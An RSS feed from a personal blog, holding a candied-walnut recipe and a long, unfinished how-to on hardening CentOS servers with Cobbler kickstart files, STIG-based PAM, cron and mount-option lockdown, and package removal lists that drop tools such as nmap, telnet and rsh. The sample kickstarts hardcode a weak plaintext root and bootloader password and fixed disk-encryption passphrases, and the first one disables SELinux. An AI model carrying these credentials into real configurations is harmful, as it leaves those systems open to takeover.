<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mark&#039;s blargh</title>
	<atom:link href="http://www.control-alt-del.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.control-alt-del.org</link>
	<description>Thoughts and pics</description>
	<lastBuildDate>Sun, 05 Feb 2012 02:59:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Splenda Candied Walnuts</title>
		<link>http://www.control-alt-del.org/2012/02/04/splenda-candied-walnuts/</link>
		<comments>http://www.control-alt-del.org/2012/02/04/splenda-candied-walnuts/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 02:59:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Food]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=517</guid>
		<description><![CDATA[Seriously. S&#8217;good. Ingredients: Enough walnuts to cover your baking sheet, let&#8217;s say 2 cups. About 3 cups of granulated Splenda Just enough allspice A good splash of vanilla extract 1 egg white Enough salt to make it salty (1/4 teaspoon &#8230; <a href="http://www.control-alt-del.org/2012/02/04/splenda-candied-walnuts/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Seriously. S&#8217;good.</p>
<p>Ingredients:<br />
Enough walnuts to cover your baking sheet, let&#8217;s say 2 cups.<br />
About 3 cups of granulated Splenda<br />
Just enough allspice<br />
A good splash of vanilla extract<br />
1 egg white<br />
Enough salt to make it salty (1/4 teaspoon maybe?)<br />
2 tbsp melted butter</p>
<p>Beat the egg until it&#8217;s thoroughly beat, and no longer offers resistance. Throw in everything else, mix it around. Line your baking sheet with foil, spray with pam. Spread in the mixture, making sure everything is not all one big clump.</p>
<p>Pre-heat oven at 350, cook for 10 minutes. Reduce heat to 300 and stir (unstick those clumps!). Wait 10 minutes, stir again. Done.<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2012/02/04/splenda-candied-walnuts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building secure Linux systems</title>
		<link>http://www.control-alt-del.org/2011/12/14/building-secure-linux-systems/</link>
		<comments>http://www.control-alt-del.org/2011/12/14/building-secure-linux-systems/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 18:54:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech tips]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=412</guid>
		<description><![CDATA[In this post, I&#8217;m going to be documenting the process that I&#8217;m working on to build secure Linux systems. What I&#8217;d like to have when I&#8217;m done Selinux is ON and enforcing Is certifiable to a set of reasonable standards &#8230; <a href="http://www.control-alt-del.org/2011/12/14/building-secure-linux-systems/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>In this post, I&#8217;m going to be documenting the process that I&#8217;m working on to build secure Linux systems.</p>
<p>What I&#8217;d like to have when I&#8217;m done</p>
<ul>
<li>Selinux is ON and enforcing</li>
<li>Is certifiable to a set of reasonable standards</li>
<li>Can be deployed in an automated fashion</li>
<li>Supports remediation if flaws against known good state found</li>
</ul>
<p>Phew, that&#8217;s quite the laundry list. But it forms the basis of a good security architecture. Thankfully, there&#8217;s lots of help to be had in putting these things together.</p>
<p>The basis of my work will revolve around</p>
<ul>
<li><a href="http://oss.tresys.com/projects/clip">CLIP</a>, which is a project which uses puppet to build a certifiable linux platform</li>
<li><a href="https://fedorahosted.org/secstate/">Secstate</a>, which in turn makes use of <a href="http://open-scap.org/">OpenSCAP</a> to streamline C&#038;A</li>
<li>Puppet, to handle configuration management</li>
<li>Cobbler to automate provisioning</li>
</ul>
<p>I&#8217;m going to try to base this on CentOS 6.1, which means I&#8217;ll be trying to update the CLIP related packages/puppet rules to work on a more recent CentOS.</p>
<p><strong>Step 1. Provisioning system: Cobbler</strong></p>
<p>Getting cobbler up and running was fairly painless. Install EPEL, install the packages and you&#8217;re almost good to go. Things get a bit tricky if your cobbler system is running selinux in enforcing mode. </p>
<p>Don&#8217;t forget to add services to runlevels and start services that are need to make this work if you&#8217;re doing pxebooting. Edit tftp config file, and edit the cobbler dhcpd template as well as cobbler settings.<br />
<pre><code>chkconfig xinetd on
chkconfig cobblerd on
chkconfig dhcpd on
</code></pre></p>
<p>Running this command gives you a bit of insight:<br />
<code>cobbler check</code></p>
<p>My cobbler system is running CentOS 5.7, and the recommended fixes didn&#8217;t work for a couple of the items related to selinux, as the contexts/flags have changed a bit. I had to fiddle about a bit with chcon and semanage. Something like:<br />
<pre><code>chcon -Rv --type=httpd_sys_content_t /var/www/cobbler
semanage fcontext -a -t httpd_sys_content_t &quot;/var/www/cobbler/.*&quot; </code></pre></p>
<p>I also did something similar to get tftp working, although I didn&#8217;t note the exact command. This command is your friend:<br />
<code>seinfo -t</code></p>
<p>You can also look in /var/log/audit/audit.log for more clues as to what&#8217;s broken. I had a bit of fun figuring out pxebooting server wasn&#8217;t able to download it&#8217;s kernel until I looked at selinux.</p>
<p>If you&#8217;re having issues, see <a href="http://wiki.centos.org/HowTos/SELinux">here</a></p>
<p>I recommend <a href="https://github.com/cobbler/cobbler/wiki/Manage%20Yum%20Repos">repo cloning</a> using cobbler to speed things up. Note that if you&#8217;re using CentOS 6, the repo cloning will fail with a weird error unless you install python-hashlib first.<br />
<code>yum install python-hashlib</code></p>
<p>Here&#8217;s a sample command to clone a repo:<br />
<pre><code>
cobbler repo add --name=centos-6.1-x86_64 --mirror=http://yum.singlehop.com/CentOS/6.1/os/x86_64/
cobbler reposync --only=centos-6.1-x86_64
</code></pre></p>
<p>For the pxeboot to work, you&#8217;ll need to make the install image, kernel and initrd. You can just go grab em from the mirror: eg: http://yum.singlehop.com/CentOS/6.1/os/x86_64/images/.</p>
<p>I chose to put them inside the local repo tree, and replicated all the files.<br />
<pre><code>
wget --mirror -np http://yum.singlehop.com/CentOS/6.1/os/x86_64/images/
</code></pre><br />
I then moved the resulting images folder into /var/www/cobbler/repo_mirror/centos-6.1-everything-x86_64/</p>
<p>Let&#8217;s create a distro based on that repo<br />
<pre><code>
cobbler distro add --name=CentOS-6.1-x86_64 \
--kernel=/var/www/cobbler/repo_mirror/centos-6.1-everything-x86_64/images/pxeboot/vmlinuz \
--initrd=/var/www/cobbler/repo_mirror/centos-6.1-everything-x86_64/images/pxeboot/initrd.img \
--arch=x86_64 --breed=redhat 
</code></pre></p>
<p>Create a kickstart script (/var/lib/cobbler/kickstarts/test.ks) which looks like the one below to get started. It&#8217;s based on the clip kickstart installation script:<br />
<pre><code>install
text
firstboot --disable
url --url=$tree
# If any cobbler repo definitions were referenced in the kickstart profile, include them here.
$yum_repo_stanza
# Network information
$SNIPPET(&#039;network_config&#039;)
lang en_US
langsupport --default en_US en_US
keyboard us
ignoredisk --drives=&quot;sdb,sdc,sdd&quot;
zerombr
clearpart --all --initlabel
partition /boot --fstype &quot;ext2&quot; --size=128 --ondisk=sda --fsoptions=&quot;ro,nodev,nosuid,noexec,noatime,noauto&quot;
partition pv.2 --size=0 --grow --ondisk=sda --encrypt --passphrase=&quot;I &lt;3 $$$, cheese, and &gt;:-(&quot;
volgroup VolGroup00 pv.2
logvol swap --fstype swap --name=swapVol --vgname=VolGroup00 --size=2048 
logvol / --fstype ext4 --name=rootVol --vgname=VolGroup00 --size=1 --grow --fsoptions=&quot;noatime&quot; 
logvol /var --fstype ext4 --name=varVol --vgname=VolGroup00 --size=8196 --fsoptions=&quot;noatime,nodev&quot;
logvol /home --fstype ext4 --name=homeVol --vgname=VolGroup00 --size=1024 --fsoptions=&quot;noatime,noexec,nodev,nosuid&quot; 
logvol /tmp --fstype ext4 --name=tmpVol --vgname=VolGroup00 --size=1024 --fsoptions=&quot;noatime,noexec,nodev,nosuid&quot; 

bootloader --location mbr --password 123)(*qweASD
rootpw 123)(*qweASD
auth --passalgo=sha512 --enableshadow
timezone --utc America/Toronto

# Fow now... This is to eventually get clip setup. 
selinux --disable

# Enable the firewall 
firewall --enabled --port=22:tcp

# Reboot after installation is complete
reboot

# Install Packages.&nbsp;&nbsp;This is site specific.
%packages
$SNIPPET(&#039;func_install_if_enabled&#039;)
$SNIPPET(&#039;puppet_install_if_enabled&#039;)
@base
policycoreutils-newrole
aide
sysstat
setools
audit
#####################################
# Remove tcpdump per STIG gen003865 #
#####################################
-tcpdump
#####################################
# Remove Packages for PL4 compliance#
#####################################
-kudzu
-pcscd
-xdelta
-nmap
-emacspeak
-byacc
-gimp-help
-splint
-perl-Crypt-SSLeay
-units
-perl-XML-Grove
-perl-XML-LibXML-Common
-perl-XML-SAX
-perl-XML-Twig
-valgrind
-valgrind-callgrind
-gimp-gap
-cdecl
-perl-XML-Dumper
-kernel-smp-devel
-blas
-lapack
-java-1.4.2-gcj-compat
-kernel-hugemem-devel
-kernel-devel
-perl-XML-Encoding
-gnome-games
-isdn4k-utils
-vnc
-vnc-server
-gpm
-hal
#e2fsprogs
#kernel-smp
-tog-pegasus
-tog-pegasus-devel
-ethereal
-ethereal-gnome
-xchat
-vino
-gaim
-gnome-pilot
-bluez-utils
-bluez-utils-cups
-bluez-hcidump
-bluez-gnome
-yum-updatesd
-wpa_supplicant
-ypbind
-NetworkManager
-NetworkManagerDispatcher
-setools
-telnet
-wireless-tools
#@ office
#@ admin-tools
#@ editors
#@ system-tools
#@ gnome-desktop
#@ dialup
#@ base-x
#@ printing
#@ server-cfg
#@ graphical-internet
#kernel
-python-ldap
-httpd-suexec
-system-config-httpd
-psgml
-emacs-leim
-gimp-data-extras
-xcdroast
-perl-XML-LibXML
-gimp-print-plugin
-xsane-gimp
-gimp
#lvm2
-zsh
#net-snmp-utils
-rhythmbox
-gcc-g77
#grub
-texinfo
-octave
-dia
-perl-LDAP
-oprofile
-emacs
#system-config-printer-gui
-doxygen
-planner
-tux
-indent
-cdparanoia
-gcc-java
-gnomemeeting
#openoffice.org-i18n
#openoffice.org-libs
#openoffice.org
#firefox
-evolution
-xsane
-ctags
-cscope
-sane-frontends
-perl-XML-Parser
-php-mysql
-rcs
-perl-XML-NamespaceSupport
# get rid of rlogin
-rsh
-irda-utils
-lm_sensors
-portmap
-nfs-utils
-autofs
-finger
-tftp
-avahi
vlock
# needed to compile policy on RHEL5.1
rpm-build
gcc
checkpolicy
# for puppet:
ruby

%pre
$SNIPPET(&#039;log_ks_pre&#039;)
$kickstart_start
$SNIPPET(&#039;pre_install_network_config&#039;)
# Enable installation monitoring
$SNIPPET(&#039;pre_anamon&#039;)

%post
$SNIPPET(&#039;log_ks_post&#039;)
# Start yum configuration 
$yum_config_stanza
# End yum configuration

SNIPPET::public_key_root
SNIPPET::bashprofile_root

$SNIPPET(&#039;post_install_kernel_options&#039;)
$SNIPPET(&#039;post_install_network_config&#039;)
$SNIPPET(&#039;func_register_if_enabled&#039;)
$SNIPPET(&#039;puppet_register_if_enabled&#039;)
# $SNIPPET(&#039;download_config_files&#039;)
# $SNIPPET(&#039;koan_environment&#039;)
# $SNIPPET(&#039;redhat_register&#039;)
# $SNIPPET(&#039;cobbler_register&#039;)
# Enable post-install boot notification
$SNIPPET(&#039;post_anamon&#039;)
# Start final steps
$kickstart_done
# End final steps
</code></pre></p>
<p>Create a profile based on the distro and kickstart<br />
<pre><code>
cobbler profile add --name=CentOS-6.1-x86_64 \
--distro=CentOS-6.1-x86_64 \
--kickstart=/var/lib/cobbler/kickstarts/test.ks \
--ksmeta=&quot;tree=http://10.0.0.1/cobbler/repo_mirror/centos-6.1-everything-x86_64/&quot;
--nameservers=&quot;8.8.8.8&quot; \
--repos=&quot;centos-6.1-updates-x86_64,centos-6.1-everything-x86_64&quot; 
</code></pre></p>
<p>Note that when creating profiles, we set the ksmeta tree variable. This variable is used to specify the URL location of the repository to use for the installation (in the kickstart script). It should be changed to whatever your cobbler IP address is (if you&#8217;ve cloned a centos repository that is). If you haven&#8217;t cloned, simply change the variable to point to a CentOS mirror. Thus we can use the same kickstart on different arches, simply creating profiles for each arch with different paths in the ksmeta tree variable.</p>
<p>What do we have so far:</p>
<ul>
<li>Installs OS on /dev/sda</li>
<li>Two physical partitions</li>
<li>/boot ext2 partition</li>
<li>Rest of the disk on an encrypted partition (note: requires a passphrase to boot)</li>
<li>ext4 logical volumes created on the second encrypted partition, with reasonable restrictions on mount options</li>
<li>Calls a few custom snippets to do things like install SSH public keys and root bash profile</li>
<li>Enables the firewall and SSH access</li>
<li>Selinux is disabled&#8230; We&#8217;ll be working on this.</li>
<li>Bootloader password protected</li>
</ul>
<p><strong>Update</strong></p>
<p>I got tired of issues getting things working on CentOS 5.7, and started updating everything to 6.2. Fun times, as the selinux policies are inadequate for cobbler. One of the more fun and mysterious issues I&#8217;ve encountered: Reposync wasn&#8217;t working in cobbler. I had created some custom selinux policies to get things moving, then came across this unpleasant error.</p>
<p><pre><code>
error: db3 error(11) from dbenv-&gt;open: Resource temporarily unavailable
error: cannot open Packages index using db3 - Resource temporarily unavailable (11)
</code></pre></p>
<p>Apparently something in the reposync hosed my rpm db. The fix below:</p>
<p><pre><code>
[root@localhost modules]# rm -f /var/lib/rpm/__db*
[root@localhost modules]# echo &quot;%__dbi_cdb create private cdb mpool mp_mmapsize=16Mb mp_size=1Mb&quot; &gt; /etc/rpm/macros
[root@localhost modules]# rpmdb --rebuilddb
[root@localhost modules]# cobbler reposync
</code></pre></p>
<p><strong>Step 2. Install CLIP software</strong></p>
<p>Fail.</p>
<p>I managed to get all the clip stuff installed, but failed when trying to get the selinux rules working. I unfortunately don&#8217;t have time to delve deeper, so instead I&#8217;m going to run with selinux in enforcing mode/strict, and adjust rules as needed. I&#8217;ll try to get the clip puppet content integrated with the puppetization of the systems. Or not.</p>
<p>As it stands, this is what my cobbler config looks like. It&#8217;s a mishmash of the CLIP stuff and a few other security resources I came across.</p>
<p><pre><code>
install
text
url --url=$tree
firstboot --disable
$yum_repo_stanza
$SNIPPET(&#039;network_config&#039;)
lang en_US
keyboard us

## RAW escape tag for cheetah template
#raw
## Note, you should figure out your own encrypted password, this one below won&#039;t work for you :)
rootpw --iscrypted $6$asdfasdfasdfasdfzKsMJgzTxm/l40I.
#end raw
auth --passalgo=sha512 --enableshadow --kickstart
timezone --utc America/Toronto
selinux --enforcing
firewall --enabled --port=22:tcp

ignoredisk --only-use=sdb
zerombr
clearpart --all --initlabel
bootloader --location mbr --password=&quot;123)(*qweASD&quot;
part /boot --fstype &quot;ext2&quot; --size=128 --ondisk=sdb --fsoptions=&quot;noatime&quot;
part pv.2 --size=1 --grow --ondisk=sdb --encrypted --passphrase=&quot;Mmmmm doughnuts....&quot;
volgroup VolGroup00 pv.2
logvol swap --fstype swap --name=swapVol --vgname=VolGroup00 --size=2048 
logvol / --fstype ext4 --name=rootVol --vgname=VolGroup00 --size=1 --grow --fsoptions=&quot;noatime&quot; 
logvol /var --fstype ext4 --name=varVol --vgname=VolGroup00 --size=8196 --fsoptions=&quot;noatime,nodev&quot;
logvol /home --fstype ext4 --name=homeVol --vgname=VolGroup00 --size=1024 --fsoptions=&quot;noatime,noexec,nodev,nosuid&quot; 
logvol /tmp --fstype ext4 --name=tmpVol --vgname=VolGroup00 --size=1024 --fsoptions=&quot;noatime,noexec,nodev,nosuid&quot; 

reboot

%packages --nobase
$SNIPPET(&#039;puppet_install_if_enabled&#039;)
MAKEDEV
aide
acl
at
attr
audit
audit-libs
authconfig
basesystem
bash
bc
bind-libs
bind-utils
binutils
biosdevname
blktrace
bridge-utils
busybox
bzip2
bzip2-libs
ca-certificates
centos-indexhtml
centos-release
checkpolicy
chkconfig
coreutils
coreutils-libs
cpio
cracklib
cracklib-dicts
cronie
cronie-anacron
crontabs
cryptsetup-luks
cryptsetup-luks-libs
curl
dash
db4
db4-utils
device-mapper
device-mapper-event
device-mapper-event-libs
device-mapper-libs
diffutils
dmidecode
dmraid
dmraid-events
dracut
dracut-kernel
e2fsprogs
e2fsprogs-libs
ed
efibootmgr
elfutils
elfutils-libelf
elfutils-libs
ethtool
expat
file
file-libs
filesystem
findutils
fipscheck
fipscheck-lib
gamin
gawk
gdbm
glib2
glibc
glibc-common
gmp
gnupg2
gnutls
gpgme
gpm-libs
grep
groff
grub
grubby
gzip
hdparm
hwdata
info
initscripts
iproute
iptables
iputils
irqbalance
kbd
kbd-misc
kernel
kernel-firmware
kexec-tools
keyutils-libs
kpartx
krb5-libs
less
libacl
libaio
libattr
libblkid
libcap
libcap-ng
libcom_err
libcurl
libdrm
libedit
libffi
libgcc
libgcrypt
libgpg-error
libidn
libjpeg
libnih
libnl
libpcap
libpng
libselinux
libselinux-utils
libsemanage
libsepol
libss
libssh2
libstdc++
libtar
libtasn1
libtiff
libudev
libusb
libusb1
libuser
libutempter
libuuid
libxml2
libxml2-python
logrotate
lsof
lua
lvm2
lvm2-libs
m4
mailx
man
man-pages
man-pages-overrides
microcode_ctl
mingetty
mlocate
module-init-tools
mtr
#mysql-libs
nano
ncurses
ncurses-base
ncurses-libs
net-tools
#netxen-firmware
#newt
#newt-python
nspr
nss
nss-softokn
nss-softokn-freebl
nss-sysinit
nss-util
ntp
ntpdate
ntsysv
openldap
openssh
openssh-clients
openssh-server
openssl
pam
pam_passwdqc
parted
passwd
pciutils
pciutils-libs
pcre
perl
perl-Module-Pluggable
perl-Pod-Escapes
perl-Pod-Simple
perl-libs
perl-version
pinfo
pkgconfig
plymouth
plymouth-core-libs
plymouth-scripts
policycoreutils
popt
prelink
procps
psacct
psmisc
pth
pygpgme
python
python-ethtool
python-iniparse
python-libs
python-pycurl
python-urlgrabber
quota
rdate
readahead
readline
redhat-logos
rng-tools
rootfiles
rpm
rpm-libs
rpm-python
rsync
rsyslog
sed
selinux-policy
selinux-policy-targeted
setserial
setup
setuptool
shadow-utils
slang
smartmontools
sqlite
strace
sudo
sysstat
systemtap-runtime
sysvinit-tools
tar
tcp_wrappers
tcp_wrappers-libs
tcpdump
tcsh
time
tmpwatch
traceroute
tzdata
udev
unzip
upstart
usbutils
usermode
ustr
util-linux-ng
vconfig
vim-common
vim-enhanced
vim-minimal
wget
which
words
xmlrpc-c
xmlrpc-c-client
xz
xz-libs
xz-lzma-compat
yum
yum-metadata-parser
yum-plugin-fastestmirror
yum-utils
zip
zlib
-aic94xx-firmware
-atmel-firmware
-bfa-firmware
-ipw2100-firmware
-ipw2200-firmware
-ivtv-firmware
-iwl*-firmware
-libertas-usb8388-firmware
-netxen-firmware
-ql*-firmware
-rt61pci-firmware
-rt73usb-firmware
-xorg-x11-drv-ati-firmware
-zd1211-firmware
-b43-openfwwf

%pre
$SNIPPET(&#039;log_ks_pre&#039;)
$kickstart_start
$SNIPPET(&#039;pre_install_network_config&#039;)
$SNIPPET(&#039;pre_anamon&#039;)

%post
$SNIPPET(&#039;log_ks_post&#039;)
$yum_config_stanza
SNIPPET::public_key_root
SNIPPET::bashprofile_root
$SNIPPET(&#039;post_install_kernel_options&#039;)
$SNIPPET(&#039;post_install_network_config&#039;)
$SNIPPET(&#039;puppet_register_if_enabled&#039;)
rm /etc/yum.repos.d/Cent*
echo &quot;sshd:172.16.&quot; &gt;&gt;/etc/hosts.allow

chkconfig postfix off
chkconfig kdump off
chkconfig rdisc off
chkconfig restorecond on
chkconfig ntpdate on
chkconfig ntpd on

#raw
# RAW tag to escape cheetah templating...
# Hardening... adapted from here https://nazar.karan.org/cgit/bluecain/tree/secure-kickstart.cfg
#
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6

echo &quot;Locking down GEN000020, GEN000040, GEN000060&quot;
perl -npe &#039;s#SINGLE=/sbin/sushell#SINGLE=/sbin/sulogin#&#039; -i /etc/sysconfig/init
echo &quot;GEN000020, GEN000040,GEN000060 Complete&quot;

## Prevent entering interactive boot
perl -npe &#039;s/PROMPT=yes/PROMPT=no/&#039; -i /etc/sysconfig/init
echo &quot;Interactive Boot disabled&quot;

# LNX00580 (L222)
echo &quot;Locking down LNX00580&quot;
perl -npe &#039;s/^exec/#exec/&#039; -i /etc/init/control-alt-delete.conf
echo &quot;LNX00580 Complete&quot;

# GEN000480 (G015)
echo &quot;Locking down GEN000480&quot;
echo &quot;#Make the user waits four seconds if they fail after LOGIN_RETRIES&quot; &gt;&gt; /etc/login.defs
echo &quot;FAIL_DELAY 4&quot; &gt;&gt; /etc/login.defs
echo &quot;GEN000480 Complete&quot;

# GEN000820
echo &quot;Locking down GEN000820&quot;
perl -npe &#039;s/PASS_MIN_LEN\s+5/PASS_MIN_LEN&nbsp;&nbsp;9/&#039; -i /etc/login.defs

#STIG specifies using foloowing, but it&#039;s not a valid parameter
#echo &quot;PASSLENGTH 9&quot; &gt;&gt; /etc/login.defs
#
echo &quot;GEN000820 Complete&quot;

##### PAM Modifications
# These modifications apply to GEN000460, GEN000600 and GEN000620
touch /var/log/tallylog

cat &lt;&lt; &#039;EOF&#039; &gt; /etc/pam.d/system-auth-local
#%PAM-1.0
# Auth Section
auth required pam_tally2.so unlock_time=900 onerr=fail no_magic_root
auth required pam_faildelay.so delay=5000000
auth include system-auth-ac

# Accounts Section
account required pam_tally2.so
account include system-auth-ac

# Password Section
password required pam_pwhistory.so&nbsp;&nbsp; use_authtok remember=5 retry=3
password requisite pam_passwdqc.so min=disabled,disabled,16,12,8
password include system-auth-ac

# Session Section
## By default we&#039;re only going to log what root does
## This gets really verbose if we log more.
## If you want to log everyone, remove disable=*
session required pam_tty_audit.so disable=* enable=root
session include system-auth-ac
EOF

rm /etc/pam.d/system-auth
ln -s /etc/pam.d/system-auth-local /etc/pam.d/system-auth
# Create some basic shell rules for users. 

echo &quot;Idle users will be removed after 15 minutes&quot;
echo &quot;readonly TMOUT=600&quot; &gt;&gt; /etc/profile.d/os-security.sh
echo &quot;readonly HISTFILE&quot; &gt;&gt; /etc/profile.d/os-security.sh
chmod +x /etc/profile.d/os-security.sh

# GEN002560
# Reset the umasks for all users to 077
echo &quot;Locking down GEN002560&quot;
perl -npe &#039;s/umask\s+0\d2/umask 077/g&#039; -i /etc/bashrc
perl -npe &#039;s/umask\s+0\d2/umask 077/g&#039; -i /etc/csh.cshrc
echo &quot;GEN002560 Complete&quot;

######### Remove useless users ##############
# This isn&#039;t strictly needed as they have a default shell of nologin
# but we&#039;re removing them anyway to be safe.

echo &quot;Locking down LNX0034 and GEN004840&quot;
/usr/sbin/userdel shutdown
/usr/sbin/userdel halt
/usr/sbin/userdel games
/usr/sbin/userdel operator
/usr/sbin/userdel ftp
/usr/sbin/userdel news
/usr/sbin/userdel gopher
/usr/sbin/userdel lp
/usr/sbin/userdel adm
/usr/sbin/userdel uucp
echo &quot;LNX0034 and GEN004840 Complete&quot;

# No one gets to run cron or at jobs unless we say so.
echo &quot;Locking down Cron&quot;
touch /etc/cron.allow
chmod 600 /etc/cron.allow
awk -F: &#039;{print $1}&#039; /etc/passwd | grep -v root &gt; /etc/cron.deny
echo &quot;Locking down AT&quot;
touch /etc/at.allow
chmod 600 /etc/at.allow
awk -F: &#039;{print $1}&#039; /etc/passwd | grep -v root &gt; /etc/at.deny

echo -e &quot;root\n&quot; &gt;/etc/cron.allow
echo -e &quot;root\n&quot; &gt;/etc/at.allow

echo &quot;Get rid of stupid mailing cron results...&quot;
perl -npe &#039;s/(MAILTO.*)$/MAILTO=&quot;&quot;/&#039; -i /etc/crontab

## GEN000400 (G010)
echo &quot;Locking down GEN000400&quot;
# Set the /etc/issue file to something scary.&nbsp;&nbsp;This one has no linefeeds, so it will wrap accordingly.
# Change this to your own banner for organizations outside the Scary Zone

cat &lt;&lt; &#039;EOF&#039; &gt;/etc/issue
USE OF THIS COMPUTER SYSTEM, AUTHORIZED OR UNAUTHORIZED, CONSTITUTES CONSENT TO MONITORING OF THIS SYSTEM.&nbsp;&nbsp;UNAUTHORIZED USE MAY SUBJECT YOU TO CRIMINAL PROSECUTION.&nbsp;&nbsp;EVIDENCE OF UNAUTHORIZED USE COLLECTED DURING MONITORING MAY BE USED FOR ADMINISTRATIVE, CRIMINAL, OR OTHER ADVERSE ACTION.&nbsp;&nbsp;USE OF THIS SYSTEM CONSTITUTES CONSENT TO MONITORING FOR THESE PURPOSES.
EOF
echo &quot;GEN000400 Completed&quot;

################## File and Directory Security #########################
# Restrict mount points with noexec, nosuid, and nodev where applicable
# GEN002420
echo &quot;Locking down GEN002420&quot;
FSTAB=/etc/fstab
SED=/bin/sed

#nosuid on /home
if [ $(grep &quot;[[:blank:]]\/home[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nosuid&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/home[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/home.*${MNT_OPTS}\)/\1,nosuid/&quot; ${FSTAB}
fi

# nosuid on /sys
if [ $(grep &quot;[[:blank:]]\/sys[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nosuid&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/sys[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/sys.*${MNT_OPTS}\)/\1,nosuid/&quot; ${FSTAB}
fi

## nosuid on /boot
if [ $(grep &quot;[[:blank:]]\/boot[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nosuid&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/boot[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/boot.*${MNT_OPTS}\)/\1,nosuid/&quot; ${FSTAB}
fi

# nodev on /usr
if [ $(grep &quot;[[:blank:]]\/usr[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/usr[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ${SED} -i &quot;s/\([[:blank:]]\/usr.*${MNT_OPTS}\)/\1,nodev/&quot; ${FSTAB}
fi

#nodev on /home
if [ $(grep &quot;[[:blank:]]\/home[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/home[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/home.*${MNT_OPTS}\)/\1,nodev/&quot; ${FSTAB}
fi

# nodev on /usr/local
if [ $(grep &quot;[[:blank:]]\/usr/local[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/usr/local[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/usr\/local.*${MNT_OPTS}\)/\1,nodev/&quot; ${FSTAB}
fi

# nodev and noexec on /tmp
if [ $(grep &quot;[[:blank:]]\/tmp[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/tmp[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/tmp.*${MNT_OPTS}\)/\1,nodev,noexec/&quot; ${FSTAB}
fi
# nodev and noexec on /var/tmp
if [ $(grep &quot;[[:blank:]]\/var/tmp[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MNT_OPTS=$(grep &quot;[[:blank:]]\/tmp[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
